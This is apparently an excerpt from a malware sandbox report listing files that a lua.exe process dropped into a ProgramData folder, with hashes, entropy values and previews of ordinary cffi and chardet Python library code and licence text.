C:\ProgramData\ShellExperienceHost\Lib\site-packages\cffi\lock.py Download File
Process:	C:\ProgramData\lua\lua.exe
File Type:	Python script, ASCII text executable, with CRLF line terminators
Category:	dropped
Size (bytes):	777
Entropy (8bit):	4.44875139792708
Encrypted:	false
SSDEEP:	24:kUkAK++vkMls+Fvk0nLu8nEA5nMJDc0nM0/DiVaZXm:kU+vPvXnHEMMJDDM0bXm
MD5:	40C9E6614363EA3F735547B5D9764770
SHA1:	2B0337774AF79AA5DBEF29C4F32EE6A757DA08E6
SHA-256:	BE76EC7A5EF7F7621BF2018189F21F01F73B307B5E4B07779CFEF6E69BDCDB94
SHA-512:	27F4B44CD28109322BC5AEF98A1D909D0C843EBDAE2674AD31BEA7C9BE4183F56273BDE821009A55C7B01C7012C4A2310D3BF6DA1E501F075A654AAC517F368D
Malicious:	false
Preview:	import sys....if sys.version_info < (3,):.. try:.. from thread import allocate_lock.. except ImportError:.. from dummy_thread import allocate_lock..else:.. try:.. from _thread import allocate_lock.. except ImportError:.. from _dummy_thread import allocate_lock......##import sys..##l1 = allocate_lock....##class allocate_lock(object):..## def __init__(self):..## self._real = l1()..## def __enter__(self):..## for i in range(4, 0, -1):..## print sys._getframe(i).f_code..## print..## return self._real.__enter__()..## def __exit__(self, args):..## return self._real.__exit__(args)..## def acquire(self, f):..## assert f is False..## return self._real.acquire(f)..

C:\ProgramData\ShellExperienceHost\Lib\site-packages\cffi\model.py Download File
Process:	C:\ProgramData\lua\lua.exe
File Type:	Python script, ASCII text executable, with CRLF line terminators
Category:	dropped
Size (bytes):	22385
Entropy (8bit):	4.473459726873564
Encrypted:	false
SSDEEP:	192:h/P/2CB32eKd4sUsW7w6ezywyJypLn/75wZbwMNW5otWpicdjomKNh+g6yyHu5F:XFPTw6SD84LNiwEhWpbjohZ3pH
MD5:	CFF9C6B8372D67221E29D18F0FA4D5B4
SHA1:	1D48C2F71A68C58C174E5C5EB3C654061F73E4A6
SHA-256:	1D10F458460717656BE918D2FB8C329DC125AD9C54DB6E7ACD8D1F6CC91229E7
SHA-512:	3B40703A7A959819B505D3DD98B1AD943CAC0A3A40CF4FFAFF1BB96601BC7D26C21B568397A99A863DAF284144374011789C7FCDFA2FF1DDCCC45290FABF8159
Malicious:	false
Preview:	import types..import weakref....from .lock import allocate_lock..from .error import CDefError, VerificationError, VerificationMissing....# type qualifiers..Q_CONST = 0x01..Q_RESTRICT = 0x02..Q_VOLATILE = 0x04....def qualify(quals, replace_with):.. if quals & Q_CONST:.. replace_with = ' const ' + replace_with.lstrip().. if quals & Q_VOLATILE:.. replace_with = ' volatile ' + replace_with.lstrip().. if quals & Q_RESTRICT:.. # It seems that __restrict is supported by gcc and msvc... # If you hit some different compiler, add a #define in.. # _cffi_include.h for it (and in its copies, documented there).. replace_with = ' __restrict ' + replace_with.lstrip().. return replace_with......class BaseTypeByIdentity(object):.. is_array_type = False.. is_raw_function = False.... def get_c_name(self, replace_with='', context='a C file', quals=0):.. result = self.c_name_with_marker.. assert result.count('&') == 1.. #

C:\ProgramData\ShellExperienceHost\Lib\site-packages\cffi\parse_c_type.h Download File
Process:	C:\ProgramData\lua\lua.exe
File Type:	C source, ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	6157
Entropy (8bit):	5.002376552404396
Encrypted:	false
SSDEEP:	96:Me94hDwCVNDeiIXOp6MLxgFfAQbJ0Q9uNN56ipS:ODEOCnb6wi8
MD5:	F2B2DED0B0043403AEE90209E4FC8C8E
SHA1:	DA395C86119E5BF80D4C4BFA33A4C164E9CEB279
SHA-256:	7CA60DA96357E5FF6464D3616D77112D33A5A51191861F1E08BC879935C86674
SHA-512:	301B2D38ACF26B8FE1B782824D02DCE9ADFC612AAA753C4FFAA044477F9970C9B3362D0989FB8B55959CCDAB6328715617DC8BDB0FFF926473C47D756AC51469
Malicious:	false
Preview:	../* This part is from file 'cffi/parse_c_type.h'. It is copied at the.. beginning of C sources generated by CFFI's ffi.set_source(). /....typedef void _cffi_opcode_t;....#define _CFFI_OP(opcode, arg) (_cffi_opcode_t)(opcode \| (((uintptr_t)(arg)) << 8))..#define _CFFI_GETOP(cffi_opcode) ((unsigned char)(uintptr_t)cffi_opcode)..#define _CFFI_GETARG(cffi_opcode) (((intptr_t)cffi_opcode) >> 8)....#define _CFFI_OP_PRIMITIVE 1..#define _CFFI_OP_POINTER 3..#define _CFFI_OP_ARRAY 5..#define _CFFI_OP_OPEN_ARRAY 7..#define _CFFI_OP_STRUCT_UNION 9..#define _CFFI_OP_ENUM 11..#define _CFFI_OP_FUNCTION 13..#define _CFFI_OP_FUNCTION_END 15..#define _CFFI_OP_NOOP 17..#define _CFFI_OP_BITFIELD 19..#define _CFFI_OP_TYPENAME 21..#define _CFFI_OP_CPYTHON_BLTN_V 23 // varargs..#define _CFFI_OP_CPYTHON_BLTN_N 25 // noargs..#define _CFFI_OP_CPYTHON_BLTN_O 27 // O (i.e. a single arg)..#define _CFFI_OP_CONSTANT 29

C:\ProgramData\ShellExperienceHost\Lib\site-packages\cffi\pkgconfig.py Download File
Process:	C:\ProgramData\lua\lua.exe
File Type:	Python script, ASCII text executable, with CRLF line terminators
Category:	dropped
Size (bytes):	4495
Entropy (8bit):	4.547024823336294
Encrypted:	false
SSDEEP:	96:SbKeGD9vVuZjh8kMdpM5GC11ySByRO8SvwL0C:SXGD9zkd1USoRO8+wL0C
MD5:	AEB9E43E3DDAD893AAA7BD07FC63CC6D
SHA1:	EA48EE86A813A15C422F34D4DF62BD995F5E1DE8
SHA-256:	F730DC0DFD1728825AC451CB83B7BE5BCF976FC62AE61761A87EE42E0FAE811A
SHA-512:	CA705FBDAA20845548B714A4C613C5268FFA07FF9AF40265CD0AA3265766712DBCED7B2B6735C0C0C8FB90971816B837C7581D53F01B0B3A52734D6C4092E535
Malicious:	false
Preview:	# pkg-config, https://www.freedesktop.org/wiki/Software/pkg-config/ integration for cffi..import sys, os, subprocess....from .error import PkgConfigError......def merge_flags(cfg1, cfg2):.. """Merge values from cffi config flags cfg2 to cf1.... Example:.. merge_flags({"libraries": ["one"]}, {"libraries": ["two"]}).. {"libraries": ["one", "two"]}.. """.. for key, value in cfg2.items():.. if key not in cfg1:.. cfg1[key] = value.. else:.. if not isinstance(cfg1[key], list):.. raise TypeError("cfg1[%r] should be a list of strings" % (key,)).. if not isinstance(value, list):.. raise TypeError("cfg2[%r] should be a list of strings" % (key,)).. cfg1[key].extend(value).. return cfg1......def call(libname, flag, encoding=sys.getfilesystemencoding()):.. """Calls pkg-config and returns the output if found.. """.. a = ["pkg-config", "--print-errors"].. a.append(flag)..

C:\ProgramData\ShellExperienceHost\Lib\site-packages\cffi\recompiler.py Download File
Process:	C:\ProgramData\lua\lua.exe
File Type:	Python script, ASCII text executable, with CRLF line terminators
Category:	dropped
Size (bytes):	66149
Entropy (8bit):	4.446209398431634
Encrypted:	false
SSDEEP:	768:GothwAElgyySqwqfjmoVWfA5f8areK4utLZTQqNMotNCdzZWJWNiiaeFXJ:ZeA0gyqwFA5f8areK4kLZFNMaCdzZka
MD5:	2440D4578445F3C6CF582A9E94470C3D
SHA1:	51BA4D6DCD10134028ED208AB9B5991EE69CB4B9
SHA-256:	2E611A947AACF74760A79A1DF818998B3B2ED8CD96255ED2E9CB4D4B18F716C0
SHA-512:	551FA997EDEDD52EE69BFD987D3C193BCB4114774EB759926925525B02FB8B26F0AE5C8BD373BBAB1CB3D79A7927A45C7277A46220AD7FBDB3491AFDF8328BAA
Malicious:	false
Preview:	import os, sys, io..from . import ffiplatform, model..from .error import VerificationError..from .cffi_opcode import ....VERSION_BASE = 0x2601..VERSION_EMBEDDED = 0x2701..VERSION_CHAR16CHAR32 = 0x2801....USE_LIMITED_API = (sys.platform != 'win32' or sys.version_info < (3, 0) or.. sys.version_info >= (3, 5))......class GlobalExpr:.. def __init__(self, name, address, type_op, size=0, check_value=0):.. self.name = name.. self.address = address.. self.type_op = type_op.. self.size = size.. self.check_value = check_value.... def as_c_expr(self):.. return ' { "%s", (void )%s, %s, (void *)%s },' % (.. self.name, self.address, self.type_op.as_c_expr(), self.size).... def as_python_expr(self):.. return "b'%s%s',%d" % (self.type_op.as_python_bytes(), self.name,.. self.check_value)....class FieldExpr:.. def __init__(self, name, field_offset, field_size, fbitsize, field_type_o

C:\ProgramData\ShellExperienceHost\Lib\site-packages\cffi\setuptools_ext.py Download File
Process:	C:\ProgramData\lua\lua.exe
File Type:	ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	9150
Entropy (8bit):	4.612241851033373
Encrypted:	false
SSDEEP:	192:AxSxeebo+BQfcDfB/4/y8y55WcR+25p5LoVlm1:AwhnTyyY6
MD5:	F20BFA0472819FCA2DEE010D75BBE263
SHA1:	68DCC250CD1EC18B838B67A5546EEF8560A21CD8
SHA-256:	F32D784CE95102481D7339B0B4F39A87215724737222A84B8D41CC6109A3387B
SHA-512:	2ADBAFE121B6579FC7B9CE1A06FBA9C7100D557FFD0D7EE45FC94DA3F44E3BD2B99D95031B8D611CAD96B6D8CF9536235E2AC0FB43B4085E4E14D21A5710A6E8
Malicious:	false
Preview:	import os..import sys....try:.. basestring..except NameError:.. # Python 3.x.. basestring = str....def error(msg):.. from distutils.errors import DistutilsSetupError.. raise DistutilsSetupError(msg)......def execfile(filename, glob):.. # We use execfile() (here rewritten for Python 3) instead of.. # __import__() to load the build script. The problem with.. # a normal import is that in some packages, the intermediate.. # __init__.py files may already try to import the file that.. # we are generating... with open(filename) as f:.. src = f.read().. src += '\n' # Python 2.6 compatibility.. code = compile(src, filename, 'exec').. exec(code, glob, glob)......def add_cffi_module(dist, mod_spec):.. from cffi.api import FFI.... if not isinstance(mod_spec, basestring):.. error("argument to 'cffi_modules=...' must be a str or a list of str,".. " not %r" % (type(mod_spec).__name__,)).. mod_spec = str(mod_spec)..

C:\ProgramData\ShellExperienceHost\Lib\site-packages\cffi\vengine_cpy.py Download File
Process:	C:\ProgramData\lua\lua.exe
File Type:	Python script, ASCII text executable, with CRLF line terminators
Category:	dropped
Size (bytes):	44396
Entropy (8bit):	4.490645461557281
Encrypted:	false
SSDEEP:	384:Ff8sS0nGUcC2InduQ8gsbh6V5zE/t0yPk9RTUniACc0AADi:Ff8F+v8gsbhE5qGy8CilRe
MD5:	4DBF67A8172551EC3431ABF65D22E72A
SHA1:	4BFCABB5868AA6944D8CD0BAA08F2C0C48F12394
SHA-256:	BA4BA028222C511C49CC7C65C52DBAE6D1A341F3D31436D3870B2A06BC0A87E0
SHA-512:	5342A41E18763E724ED2D532B0C835280F2C1B8553E4EDF0F09B64CAD49C62EA5E7E45168B62D926656A74769EAA9951D0220FD59756372190AB9A207CDB0214
Malicious:	false
Preview:	#..# DEPRECATED: implementation for ffi.verify()..#..import sys, imp..from . import model..from .error import VerificationError......class VCPythonEngine(object):.. _class_key = 'x'.. _gen_python_module = True.... def __init__(self, verifier):.. self.verifier = verifier.. self.ffi = verifier.ffi.. self._struct_pending_verification = {}.. self._types_of_builtin_functions = {}.... def patch_extension_kwds(self, kwds):.. pass.... def find_module(self, module_name, path, so_suffixes):.. try:.. f, filename, descr = imp.find_module(module_name, path).. except ImportError:.. return None.. if f is not None:.. f.close().. # Note that after a setuptools installation, there are both .py.. # and .so files with the same basename. The code here relies on.. # imp.find_module() locating the .so in priority... if descr[0] not in so_suffixes:.. return None..

C:\ProgramData\ShellExperienceHost\Lib\site-packages\cffi\vengine_gen.py Download File
Process:	C:\ProgramData\lua\lua.exe
File Type:	Python script, ASCII text executable, with CRLF line terminators
Category:	dropped
Size (bytes):	27359
Entropy (8bit):	4.436579405062857
Encrypted:	false
SSDEEP:	192:FfXiHaGA6r8a/V8m5jQ5JGsS0rTWlryQza/ci1CCe7dl2VXVcAwhJEC2o/mYAyIk:FfXs10mZQ5EsD2luQzEICevJhKH5lTUx
MD5:	6A7EA3F9A0C4A4404D1D167DCB8FAD19
SHA1:	7E7EE4A15BB9F2EAA09BA31DB8D6A7711B7FF75E
SHA-256:	9B291484B14921C57A03243970C2779FFEDD6EAC346BD5848D75B413E59F8222
SHA-512:	A4C9DD446EE769C05255A4F842286CCE93C1A0AA70F828813AD4C786D3215484A02607FB701C3825D6D0910AE983F3FBD389982CDC076066C8B04F6700D28827
Malicious:	false
Preview:	#..# DEPRECATED: implementation for ffi.verify()..#..import sys, os..import types....from . import model..from .error import VerificationError......class VGenericEngine(object):.. _class_key = 'g'.. _gen_python_module = False.... def __init__(self, verifier):.. self.verifier = verifier.. self.ffi = verifier.ffi.. self.export_symbols = [].. self._struct_pending_verification = {}.... def patch_extension_kwds(self, kwds):.. # add 'export_symbols' to the dictionary. Note that we add the.. # list before filling it. When we fill it, it will thus also show.. # up in kwds['export_symbols']... kwds.setdefault('export_symbols', self.export_symbols).... def find_module(self, module_name, path, so_suffixes):.. for so_suffix in so_suffixes:.. basename = module_name + so_suffix.. if path is None:.. path = sys.path.. for dirname in path:.. filename = os.path.j

C:\ProgramData\ShellExperienceHost\Lib\site-packages\cffi\verifier.py Download File
Process:	C:\ProgramData\lua\lua.exe
File Type:	Python script, ASCII text executable, with CRLF line terminators
Category:	dropped
Size (bytes):	11513
Entropy (8bit):	4.406500312259876
Encrypted:	false
SSDEEP:	192:Ff47QNsfPKrJ3G68sRtTdXtONPNB/CV3tQGD8//5/C/0pJYSP7qS1W7du:Ff4EyfPckKNdGL/lvYcG0Wk
MD5:	D3E534BC2B599AA72EF7BE30813DAAA6
SHA1:	E8527E4978CAF14776D48FC3DC2E686667AB087A
SHA-256:	2DAF2B75B124BDDBDBA801C3CD393996C354BDD92A07F19C1673BBC1723A3209
SHA-512:	8E0284B922DD6E58954274AFDBAC305B13D013150047CAABF4614E06B198376F24C8C54B59F8D25ACB076E6366D3E2CE84749E2651CAAC9C48D4AC04707E7D22
Malicious:	false
Preview:	#..# DEPRECATED: implementation for ffi.verify()..#..import sys, os, binascii, shutil, io..from . import __version_verifier_modules__..from . import ffiplatform..from .error import VerificationError....if sys.version_info >= (3, 3):.. import importlib.machinery.. def _extension_suffixes():.. return importlib.machinery.EXTENSION_SUFFIXES[:]..else:.. import imp.. def _extension_suffixes():.. return [suffix for suffix, _, type in imp.get_suffixes().. if type == imp.C_EXTENSION]......if sys.version_info >= (3,):.. NativeIO = io.StringIO..else:.. class NativeIO(io.BytesIO):.. def write(self, s):.. if isinstance(s, unicode):.. s = s.encode('ascii').. super(NativeIO, self).write(s)......class Verifier(object):.... def __init__(self, ffi, preamble, tmpdir=None, modulename=None,.. ext_package=None, tag='', force_generic_engine=False,.. source_extension='.c', flags=None,

C:\ProgramData\ShellExperienceHost\Lib\site-packages\chardet-4.0.0.dist-info\INSTALLER Download File
Process:	C:\ProgramData\lua\lua.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	4
Entropy (8bit):	1.5
Encrypted:	false
SSDEEP:	3:Mn:M
MD5:	365C9BFEB7D89244F2CE01C1DE44CB85
SHA1:	D7A03141D5D6B1E88B6B59EF08B6681DF212C599
SHA-256:	CEEBAE7B8927A3227E5303CF5E0F1F7B34BB542AD7250AC03FBCDE36EC2F1508
SHA-512:	D220D322A4053D84130567D626A9F7BB2FB8F0B854DA1621F001826DC61B0ED6D3F91793627E6F0AC2AC27AEA2B986B6A7A63427F05FE004D8A2ADFBDADC13C1
Malicious:	false
Preview:	pip.

C:\ProgramData\ShellExperienceHost\Lib\site-packages\chardet-4.0.0.dist-info\LICENSE Download File
Process:	C:\ProgramData\lua\lua.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	26432
Entropy (8bit):	4.61315802555607
Encrypted:	false
SSDEEP:	384:X/56OuAbnn0UX+X6wFDVxnFw7xqsvzt+z/k8E9HinIhFkspcM9bc7upt0MZuQ2:X/5trR+DnFMz1ReScmc7GtXZuQ2
MD5:	A6F89E2100D9B6CDFFCEA4F398E37343
SHA1:	545F380FB332EB41236596500913FF8D582E3EAD
SHA-256:	6095E9FFA777DD22839F7801AA845B31C9ED07F3D6BF8A26DC5D2DEC8CCC0EF3
SHA-512:	DC4177806315B4CE888798EB5E643BF16B162418ECD10B5E7E9B4E0DF3E17D11E77E402F8BF0A1CC127D870F212A4A67F588F6750F49340997234360E69CAF08
Malicious:	false
Preview:	.. GNU LESSER GENERAL PUBLIC LICENSE... Version 2.1, February 1999.. Copyright (C) 1991, 1999 Free Software Foundation, Inc.. 51 Franklin St, Fifth Floor, Boston, MA 02110-1301 USA. Everyone is permitted to copy and distribute verbatim copies. of this license document, but changing it is not allowed...[This is the first released version of the Lesser GPL. It also counts. as the successor of the GNU Library Public License, version 2, hence. the version number 2.1.]..... Preamble.. The licenses for most software are designed to take away your.freedom to share and change it. By contrast, the GNU General Public.Licenses are intended to guarantee your freedom to share and change.free software--to make sure the software is free for all its users... This license, the Lesser General Public License, applies to some.specially designated software packages--typically libraries--of the.Free Software Foundation and other authors who decide to use it. You.can use it too, but we s

C:\ProgramData\ShellExperienceHost\Lib\site-packages\chardet-4.0.0.dist-info\METADATA Download File
Process:	C:\ProgramData\lua\lua.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	3526
Entropy (8bit):	5.168152585552706
Encrypted:	false
SSDEEP:	96:DmikLegiQILjaaxmPktxsxy13uGWtM1wJDf1Q7IOpGNM:+Le8wsa+Gf1sZ5OpG+
MD5:	2A7F45FB349FFB79B73F78C1B4B3D2B0
SHA1:	ACFA39A144417C56A3D84D0137A68EF410695853
SHA-256:	C92610004ECD3E6DCBC3180CA858B5CDD2D0E3C9A6C0C6EB270A80582B5C6C7F
SHA-512:	23B5CE9F55102BBBF619798426258F40333EC212CEFEDA6AA0408EC97D7FEBAD57C2008E8936B36FB13BF12316B157E63062F237EA309A282BFD81BC7CF090E9
Malicious:	false
Preview:	Metadata-Version: 2.1.Name: chardet.Version: 4.0.0.Summary: Universal encoding detector for Python 2 and 3.Home-page: https://github.com/chardet/chardet.Author: Mark Pilgrim.Author-email: mark@diveintomark.org.Maintainer: Daniel Blanchard.Maintainer-email: dan.blanchard@gmail.com.License: LGPL.Keywords: encoding,i18n,xml.Platform: UNKNOWN.Classifier: Development Status :: 5 - Production/Stable.Classifier: Intended Audience :: Developers.Classifier: License :: OSI Approved :: GNU Library or Lesser General Public License (LGPL).Classifier: Operating System :: OS Independent.Classifier: Programming Language :: Python.Classifier: Programming Language :: Python :: 2.Classifier: Programming Language :: Python :: 2.7.Classifier: Programming Language :: Python :: 3.Classifier: Programming Language :: Python :: 3.5.Classifier: Programming Language :: Python :: 3.6.Classifier: Programming Language :: Python :: 3.7.Classifier: Programming Language :: Python :: 3.8.Classifier: Programming Language

C:\ProgramData\ShellExperienceHost\Lib\site-packages\chardet-4.0.0.dist-info\RECORD Download File
Process:	C:\ProgramData\lua\lua.exe
File Type:	ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	6358
Entropy (8bit):	5.693933960950543
Encrypted:	false
SSDEEP:	96:sFnCX1j7px1UtIJv3lvv4TQXO3Wra/kIRaJhtztCLIRMyGBnERebSf4Z3SsIGSOH:s1CX1xx1oIJvfO7/EEhI1mWe
MD5:	6B3254C5690D5A315410456A5957BF81
SHA1:	9A466B1FA62B6DACA536123531D0A1045C703698
SHA-256:	A4E926EEAD253295E2CE74ABF5FBA36F535BFADDF8843AD78C54D451F51F14ED
SHA-512:	2730E7EC11699955CE4E1BF84F454C0163E70BECB2F07520CE755148B0E40EE47E0F01F828756678230150C13417082FD0DFABEE2B5F44814D924A723230A72D
Malicious:	false
Preview:	../../Scripts/chardetect.exe,sha256=bkCIK2y00WtRhSR3OksF4zaho74nJY44OekSFToPubI,97130..chardet-4.0.0.dist-info/INSTALLER,sha256=zuuue4knoyJ-UwPPXg8fezS7VCrXJQrAP7zeNuwvFQg,4..chardet-4.0.0.dist-info/LICENSE,sha256=YJXp_6d33SKDn3gBqoRbMcntB_PWv4om3F0t7IzMDvM,26432..chardet-4.0.0.dist-info/METADATA,sha256=ySYQAE7NPm3LwxgMqFi1zdLQ48mmwMbrJwqAWCtcbH8,3526..chardet-4.0.0.dist-info/RECORD,,..chardet-4.0.0.dist-info/WHEEL,sha256=ADKeyaGyKF5DwBNE0sRE5pvW-bSkFMJfBuhzZ3rceP4,110..chardet-4.0.0.dist-info/entry_points.txt,sha256=fAMmhu5eJ-zAJ-smfqQwRClQ3-nozOCmvJ6-E8lgGJo,60..chardet-4.0.0.dist-info/top_level.txt,sha256=AowzBbZy4x8EirABDdJSLJZMkJ_53iIag8xfKR6D7kI,8..chardet/__init__.py,sha256=mWZaWmvZkhwfBEAT9O1Y6nRTfKzhT7FHhQTTAujbqUA,3271..chardet/__pycache__/__init__.cpython-37.pyc,,..chardet/__pycache__/big5freq.cpython-37.pyc,,..chardet/__pycache__/big5prober.cpython-37.pyc,,..chardet/__pycache__/chardistribution.cpython-37.pyc,,..chardet/__pycache__/charsetgroupprober.cpython-37.pyc,,..chard

C:\ProgramData\ShellExperienceHost\Lib\site-packages\chardet-4.0.0.dist-info\WHEEL Download File
Process:	C:\ProgramData\lua\lua.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	110
Entropy (8bit):	4.816968543485036
Encrypted:	false
SSDEEP:	3:RtEeX7MWcSlVii6KRRP+tPCCf7irO5S:RtBMwlViGjWBBwt
MD5:	D25A99ECD1ECB535EE4E31874B0C7B95
SHA1:	B80780FBBF97A5FBF433C4F692E340632EA675F1
SHA-256:	00329EC9A1B2285E43C01344D2C444E69BD6F9B4A414C25F06E873677ADC78FE
SHA-512:	539E072414E6E8AD3BFAEDB0587507443B39826814FB330B57D605FB5FBE61134D3548359F41A14CC63B44E23EF0AA1E62EA1C4A2F3B344BE548F4C2C8143976
Malicious:	false
Preview:	Wheel-Version: 1.0.Generator: bdist_wheel (0.35.1).Root-Is-Purelib: true.Tag: py2-none-any.Tag: py3-none-any..

C:\ProgramData\ShellExperienceHost\Lib\site-packages\chardet-4.0.0.dist-info\entry_points.txt Download File
Process:	C:\ProgramData\lua\lua.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.160324136950664
Encrypted:	false
SSDEEP:	3:1GvAr8vLGCeZAO0vn:1u7L6Zv0v
MD5:	B65F7BFDE70CE91F668944119FDF1923
SHA1:	529FC858FDFDA889EAA5EAFC9CB699C4305B19D6
SHA-256:	7C032686EE5E27ECC027EB267EA430442950DFE9E8CCE0A6BC9EBE13C960189A
SHA-512:	CB56AE858AA2E45A4AB8ED228D3C2BEE810428BA9492EC3EB024CC7F6B8A874A8D59FECF93528D2B327D4066B47B2B87B66B9CDBC8AD231D9E7D490F8F92803D
Malicious:	false
Preview:	[console_scripts].chardetect = chardet.cli.chardetect:main..

C:\ProgramData\ShellExperienceHost\Lib\site-packages\chardet-4.0.0.dist-info\top_level.txt Download File
Process:	C:\ProgramData\lua\lua.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	8
Entropy (8bit):	3.0
Encrypted:	false
SSDEEP:	3:Z0vn:uvn
MD5:	DFA288092949BE4DED87CFE9BE2702A5
SHA1:	AD425BF5119CE57A37E3FA126DB0D4DCACB05013
SHA-256:	028C3305B672E31F048AB0010DD2522C964C909FF9DE221A83CC5F291E83EE42
SHA-512:	55C6E553FA35EC923208B4DE293B332A5B2B4B7B014423EE133BB21E43A39B8755AE24B80AAE5255B6BE8864680B9EDEB234D8E0D7CBE5DC4A90639FCF620CB0
Malicious:	false
Preview:	chardet.

C:\ProgramData\ShellExperienceHost\Lib\site-packages\chardet\__init__.py Download File
Process:	C:\ProgramData\lua\lua.exe
File Type:	Python script, ASCII text executable
Category:	dropped
Size (bytes):	3271
Entropy (8bit):	4.647327189615612
Encrypted:	false
SSDEEP:	48:g0uwyUjHSnvi/dSMLACrCBnPRy6sJBMLACrCBnPRC6ayTL2Dg7fkQeUp8Mxyd:9u4GGdSMbJBM9o/eUp8/d
MD5:	2FC59815B38752DB9228D08EA57393D2
SHA1:	528941E0635B972612867CEDB7C1DE455E307416
SHA-256:	99665A5A6BD9921C1F044013F4ED58EA74537CACE14FB1478504D302E8DBA940
SHA-512:	03807B23F91CEEBC533B81C80745114EEB97098BC7658B6DFAF547BBB146B77AC395482F63E8DE5E3ED680C095A7011E77241C800E42CBDDE6AC41D44D9A69E3
Malicious:	false
Preview:	######################## BEGIN LICENSE BLOCK ########################.# This library is free software; you can redistribute it and/or.# modify it under the terms of the GNU Lesser General Public.# License as published by the Free Software Foundation; either.# version 2.1 of the License, or (at your option) any later version..#.# This library is distributed in the hope that it will be useful,.# but WITHOUT ANY WARRANTY; without even the implied warranty of.# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU.# Lesser General Public License for more details..#.# You should have received a copy of the GNU Lesser General Public.# License along with this library; if not, write to the Free Software.# Foundation, Inc., 51 Franklin St, Fifth Floor, Boston, MA.# 02110-1301 USA.######################### END LICENSE BLOCK #########################...from .universaldetector import UniversalDetector.from .enums import InputState.from .version import __version__, VERSION...__all__ =

C:\ProgramData\ShellExperienceHost\Lib\site-packages\chardet\big5freq.py Download File
Process:	C:\ProgramData\lua\lua.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	31254
Entropy (8bit):	3.8805955906579896
Encrypted:	false
SSDEEP:	768:8u4PjuVhktU0mk0X5oUdVmPLg6BSjvzwjgebYX7VqM1H+n5:8AzktUc0X59dVE+jvw8cM14
MD5:	14C69F7CCF62A473CAF8D24A85302168
SHA1:	4028BD63B9EB6C3225FC61B7E8733528EE80FD87
SHA-256:	0FFCCAE46CB3A15B117ACD0790B2738A5B45417D1B2822CEAC57BDFF10EF3BFF
SHA-512:	7584191B735F623535D25AFD962A80069C6083AD408E8DB6381E238B993209F530D1792B866643DEE2CCDE9191B3B44EDBDA347940E6432A4B29FD0E38C9034F
Malicious:	false
Preview:	######################## BEGIN LICENSE BLOCK ########################.# The Original Code is Mozilla Communicator client code..#.# The Initial Developer of the Original Code is.# Netscape Communications Corporation..# Portions created by the Initial Developer are Copyright (C) 1998.# the Initial Developer. All Rights Reserved..#.# Contributor(s):.# Mark Pilgrim - port to Python.#.# This library is free software; you can redistribute it and/or.# modify it under the terms of the GNU Lesser General Public.# License as published by the Free Software Foundation; either.# version 2.1 of the License, or (at your option) any later version..#.# This library is distributed in the hope that it will be useful,.# but WITHOUT ANY WARRANTY; without even the implied warranty of.# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU.# Lesser General Public License for more details..#.# You should have received a copy of the GNU Lesser General Public.# License along with this library; if

C:\ProgramData\ShellExperienceHost\Lib\site-packages\chardet\big5prober.py Download File
Process:	C:\ProgramData\lua\lua.exe
File Type:	Python script, ASCII text executable
Category:	dropped
Size (bytes):	1757
Entropy (8bit):	4.96764341536432
Encrypted:	false
SSDEEP:	24:vZixsiaiq5E807yRiyUVOkH/HqTbVB+HWRTB2i2A2Rs7ay/D:vsx/1ef0uwyUjHSvT2i2tD2D
MD5:	1A45BD1F7CE22E30EEC32D870AB02E44
SHA1:	5297DF2758B6BE575459E08565B07382EB6D52ED
SHA-256:	901C476DD7AD0693DEEF1AE56FE7BDF748A8B7AE20FDE1922DDDF6941EFF8773
SHA-512:	202F2F681B84A872FE767DC7B42E2B3162E4019BFA97F5C5471CAEB5C222BE7282F692E2A56532D90A94A3355F96275362B291AEBEBA102B8377FE9886021AEA
Malicious:	false
Preview:	######################## BEGIN LICENSE BLOCK ########################.# The Original Code is Mozilla Communicator client code..#.# The Initial Developer of the Original Code is.# Netscape Communications Corporation..# Portions created by the Initial Developer are Copyright (C) 1998.# the Initial Developer. All Rights Reserved..#.# Contributor(s):.# Mark Pilgrim - port to Python.#.# This library is free software; you can redistribute it and/or.# modify it under the terms of the GNU Lesser General Public.# License as published by the Free Software Foundation; either.# version 2.1 of the License, or (at your option) any later version..#.# This library is distributed in the hope that it will be useful,.# but WITHOUT ANY WARRANTY; without even the implied warranty of.# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU.# Lesser General Public License for more details..#.# You should have received a copy of the GNU Lesser General Public.# License along with this library; if

C:\ProgramData\ShellExperienceHost\Lib\site-packages\chardet\chardistribution.py Download File
Process:	C:\ProgramData\lua\lua.exe
File Type:	Python script, ASCII text executable
Category:	dropped
Size (bytes):	9411
Entropy (8bit):	4.862229966867439
Encrypted:	false
SSDEEP:	192:kt17u43bbWNinqFlBv9Ekv9fRFUv9rYfj9ivt9uczv9Yh:8u4HWNEqlBFEkFfRFUFMfRivj5zFYh
MD5:	1348267FC095CAE77B3F24A48DD6ED06
SHA1:	DB44178E9A4908F7256C85A75A7374FB57BF868F
SHA-256:	DF0A164BAD8AAC6A282B2AB3E334129E315B2696BA57B834D9D68089B4F0725F
SHA-512:	F11D2C26226D95142251F3C5C3AA2B2D7C3F40E7C7C191ABCAF14325E76F5C3EA47A1532AF970A214C45864908D936337524EB41C90880464868A54F230C5A65
Malicious:	false
Preview:	######################## BEGIN LICENSE BLOCK ########################.# The Original Code is Mozilla Communicator client code..#.# The Initial Developer of the Original Code is.# Netscape Communications Corporation..# Portions created by the Initial Developer are Copyright (C) 1998.# the Initial Developer. All Rights Reserved..#.# Contributor(s):.# Mark Pilgrim - port to Python.#.# This library is free software; you can redistribute it and/or.# modify it under the terms of the GNU Lesser General Public.# License as published by the Free Software Foundation; either.# version 2.1 of the License, or (at your option) any later version..#.# This library is distributed in the hope that it will be useful,.# but WITHOUT ANY WARRANTY; without even the implied warranty of.# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU.# Lesser General Public License for more details..#.# You should have received a copy of the GNU Lesser General Public.# License along with this library; if

C:\ProgramData\ShellExperienceHost\Lib\site-packages\chardet\charsetgroupprober.py Download File
